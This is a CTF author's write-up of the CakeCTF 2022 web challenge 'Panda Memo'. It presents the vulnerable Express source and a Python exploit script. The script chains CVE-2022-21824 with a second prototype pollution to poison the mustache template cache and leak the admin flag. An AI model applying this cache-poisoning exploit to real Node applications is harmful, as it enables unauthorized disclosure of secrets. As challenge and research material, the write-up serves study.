CTFするぞ

CTF以外のことも書くよ

Polluting Template Engine Cache via Prototype Pollution

Yesterday I hosted CakeCTF 2022 and I wrote a web task named "Panda Memo" in the CTF. I invented (or re-invented?) a small technique to abuse prototype pollution to control many of the template engines.

I was just planning to make a challenge about prototype pollution attacks. In order to make a challenge, I was reading the AST Injection technique invented by posix-sensei. In this article, he illustrates the use of AST Injection with examples of Handlebars and Pug. I was wondering if there was any other template engine that had never been used as a CTF challenge.

I came across a template engine named mustache, which seemed very simple and good for medium-level CTF. Then I started looking over the code and found a way to abuse template engine without AST Injection.

As I'm not a web security researcher and I'm not sure if this technique is known, I take small notes in this blog post.

Overview of the Challenge

Panda Memo is a web challenge which the attacker has to chain 2 prototype pollution vulnerabilities. The service is a simple note like a pwn challenge. It stores a list of notes per IP.

const isAdmin = req => req.query.secret === SECRET;
const getAdminRole = req => {
    /* Return array of admin roles (such as admin, developer).
       More roles are to be added in the future. */
    return isAdmin(req) ? ['admin'] : [];
}
let memo = {};

app.get('/', (req, res) => res.render('index'));

/** Create new memo */
app.post('/new', (req, res) => {
    /* Create new memo */
    if (!(req.ip in memo)) memo[req.ip] = [];
    memo[req.ip].push("");

    res.json({status: 'success'});
});

/** Delete memo */
app.post('/del', (req, res) => {
    let index = req.body.index;

    /* Delete memo */
    if ((req.ip in memo) && (index in memo[req.ip])) {
        memo[req.ip].splice(index, 1);
        res.json({status: 'success', result: 'Successfully deleted'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});

/** Get memo list */
app.get('/show', (req, res) => {
    let ip = req.ip;

    /* We don't need to call isAdmin here
       because only admin can see console log. */
    if (req.body.debug == true)
        console.table(memo, req.body.inspect);

    /* Admin can read anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Return memo */
    if (ip in memo)
        res.json({status: 'success', result: memo[ip]});
    else
        res.json({status: 'error', result: 'Memo not found'});
});

/** Edit memo */
app.post('/edit', (req, res) => {
    let ip = req.ip;
    let index = req.body.index;
    let new_memo = req.body.memo;

    /* Admin can edit anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Update memo */
    if (ip in memo) {
        memo[ip][index] = new_memo;
        res.json({status: 'success', result: 'Successfully updated'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});

/** Admin panel */
app.get('/admin', (req, res) => {
    res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});

The goal of this task is to steal the flag in the admin panel.

/** Admin panel */
app.get('/admin', (req, res) => {
    res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});

The template looks like this:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css">
        <title>Admin Panel - lolpanda</title>
    </head>
    <body>
        <header>
            <h1>Admin Panel</h1>
            <p>Please leave this page if you're not the admin.</p>
        </header>
        <main>
            <article style="text-align: center;">
                <h2>FLAG</h2>
                <p>
                    {{#is_admin}}
                    FLAG: <code>{{flag}}</code>
                    {{/is_admin}}
                    {{^is_admin}}
                    <mark>Access Denied</mark>
                    {{/is_admin}}
                </p>
            </article>
        </main>
    </body>
</html>

There is no way to make is_admin true so you need to leak the flag in other ways.

The first vulnerability is CVE-2022-21824.

    /* We don't need to call isAdmin here
       because only admin can see console log. */
    if (req.body.debug == true)
        console.table(memo, req.body.inspect);

The attacker can set an empty string to Object.prototype[0]. This chains a new prototype pollution in "edit" function:

    /* Admin can edit anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Update memo */
    if (ip in memo) {
        memo[ip][index] = new_memo;
        res.json({status: 'success', result: 'Successfully updated'});

Chaining these two bugs, the attacker can set arbitrary key and value to the Object prototype.

Cache Injection in Template Engine

Many template engines take advantage of caching mechanism to make the response fast.

Mustache: mustache.js/mustache.js at 813e273a658677852ab37e6f47c98a9d9352ccde · janl/mustache.js · GitHub

/**
 * Parses and caches the given `template` according to the given `tags` or
 * `mustache.tags` if `tags` is omitted,  and returns the array of tokens
 * that is generated from the parse.
 */
Writer.prototype.parse = function parse (template, tags) {
  var cache = this.templateCache;
  var cacheKey = template + ':' + (tags || mustache.tags).join(':');
  var isCacheEnabled = typeof cache !== 'undefined';
  var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined;

  if (tokens == undefined) {
    tokens = parseTemplate(template, tags);
    isCacheEnabled && cache.set(cacheKey, tokens);
  }
  return tokens;
};

Pug: pug/index.js at d4b7f602ba38212c2a5ad9431479ce959c466c4b · pugjs/pug · GitHub

/**
 * Get the template from a string or a file, either compiled on-the-fly or
 * read from cache (if enabled), and cache the template if needed.
 *
 * If `str` is not set, the file specified in `options.filename` will be read.
 *
 * If `options.cache` is true, this function reads the file from
 * `options.filename` so it must be set prior to calling this function.
 *
 * @param {Object} options
 * @param {String=} str
 * @return {Function}
 * @api private
 */
function handleTemplateCache(options, str) {
  var key = options.filename;
  if (options.cache && exports.cache[key]) {
    return exports.cache[key];
  } else {
    if (str === undefined) str = fs.readFileSync(options.filename, 'utf8');
    var templ = exports.compile(str, options);
    if (options.cache) exports.cache[key] = templ;
    return templ;
  }
}

You'll notice this mechanism is exploitable if you have prototype pollution.

In the case of mustache, the key for the cache is created like this:

var cacheKey = template + ':' + (tags || mustache.tags).join(':');

tags is a list of keywords to be expanded by the template engine. It is ["{{", "}}"] by default.

So, the attacker can pollute the cache by setting a properly constructed key and value to the object prototype.

My exploit:

import requests
import json
import os

HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", 8002)
USERNAME = os.getenv("BASIC_USERNAME", "guest")
PASSWORD = os.getenv("BASIC_PASSWORD", "guest")

with open("../distfiles/views/admin.html", "r") as f:
    template = f.read()

auth = requests.auth.HTTPBasicAuth(USERNAME, PASSWORD)

# 0. Put something to table
r = requests.post(f"http://{HOST}:{PORT}/new",
                  auth=auth)

# 1. Object.prototype["0"] = ""    (CVE-2022-21824)
r = requests.get(f"http://{HOST}:{PORT}/show",
                 headers={"Content-Type": "application/json"},
                 data=json.dumps({"debug": True, "inspect": ["__proto__"]}),
                 auth=auth)

# 2. Object.prototype[<mustache cache>] = <fake template token>
# I believe this is a new technique to abuse many of the tempate engines :)
cache_key = template + ":{{:}}"
cache_val = [["name", "flag", 0, 100]]
r = requests.post(f"http://{HOST}:{PORT}/edit",
                  headers={"Content-Type": "application/json"},
                  data=json.dumps({"ip": "__proto__",
                                   "index": cache_key,
                                   "memo": cache_val}),
                  auth=auth)

# 3. Render polluted cache
r = requests.get(f"http://{HOST}:{PORT}/admin", auth=auth)
print(r.text)

Again, I'm not a web security researcher and I don't know if this technique has been already well-known or how useful this technique is. However, I'd like to share it with anyone who is interested because this looks simpler and easier than AST Injection :)